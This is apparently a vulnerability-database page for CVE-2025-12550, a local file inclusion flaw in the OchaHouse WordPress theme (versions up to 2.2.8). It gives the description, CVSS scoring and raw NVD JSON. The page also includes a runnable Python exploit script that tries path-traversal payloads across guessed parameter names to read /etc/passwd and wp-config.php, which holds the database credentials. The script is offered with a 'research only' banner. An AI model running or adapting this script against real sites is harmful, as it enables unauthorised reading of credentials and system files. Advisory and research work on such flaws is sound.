Security Vulnerability Report
中文
CVE-2025-12550 CVSS 8.1 HIGH

CVE-2025-12550

Published: 2026-01-08 10:15:45
Last Modified: 2026-04-27 18:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jwsthemes OchaHouse ochahouse allows PHP Local File Inclusion.This issue affects OchaHouse: from n/a through <= 2.2.8.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OchaHouse WordPress主题 <= 2.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12550 PoC - OchaHouse LFI Vulnerability # Target: WordPress site running OchaHouse theme <= 2.2.8 # Type: Local File Inclusion import requests import argparse import urllib.parse def exploit_lfi(target_url, filename='/etc/passwd'): """ Exploit Local File Inclusion vulnerability in OchaHouse theme """ # Common vulnerable parameters in WordPress themes vulnerable_params = ['file', 'page', 'template', 'theme', 'load', 'include'] for param in vulnerable_params: # Try path traversal to read sensitive files payload = f"../../../../../../../../{filename}" exploit_url = f"{target_url}?{param}={urllib.parse.quote(payload)}" print(f"[*] Testing parameter: {param}") print(f"[*] URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: # Check if file content was returned if 'root:' in response.text or 'daemon:' in response.text: print(f"[!] VULNERABLE! Read {filename} successfully") print(f"[*] Content preview:\n{response.text[:500]}") return True elif '<?php' in response.text: print(f"[!] VULNERABLE! PHP source code leak detected") print(f"[*] Content preview:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[!] Error: {e}") return False # Read wp-config.php to extract database credentials def read_wp_config(target_url): """Attempt to read WordPress configuration file""" print("\n[*] Attempting to read wp-config.php...") return exploit_lfi(target_url, 'wp-config.php') # Read /etc/passwd for system info def read_etc_passwd(target_url): """Attempt to read system password file""" print("\n[*] Attempting to read /etc/passwd...") return exploit_lfi(target_url, 'etc/passwd') if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12550 OchaHouse LFI Exploit') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read') args = parser.parse_args() print(f"[*] Target: {args.target}") print(f"[*] CVE-2025-12550 OchaHouse Theme LFI Exploit\n") exploit_lfi(args.target, args.file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12550", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:45.150", "lastModified": "2026-04-27T18:16:20.373", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jwsthemes OchaHouse ochahouse allows PHP Local File Inclusion.This issue affects OchaHouse: from n/a through <= 2.2.8."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la sentencia Include/Require en programa PHP (vulnerabilidad de 'inclusión remota de ficheros PHP') en jwsthemes OchaHouse ochahouse permite la inclusión local de ficheros PHP. Este problema afecta a OchaHouse: desde n/a hasta &lt;= 2.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/ochahouse/vulnerability/wordpress-ochahouse-theme-2-2-8-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}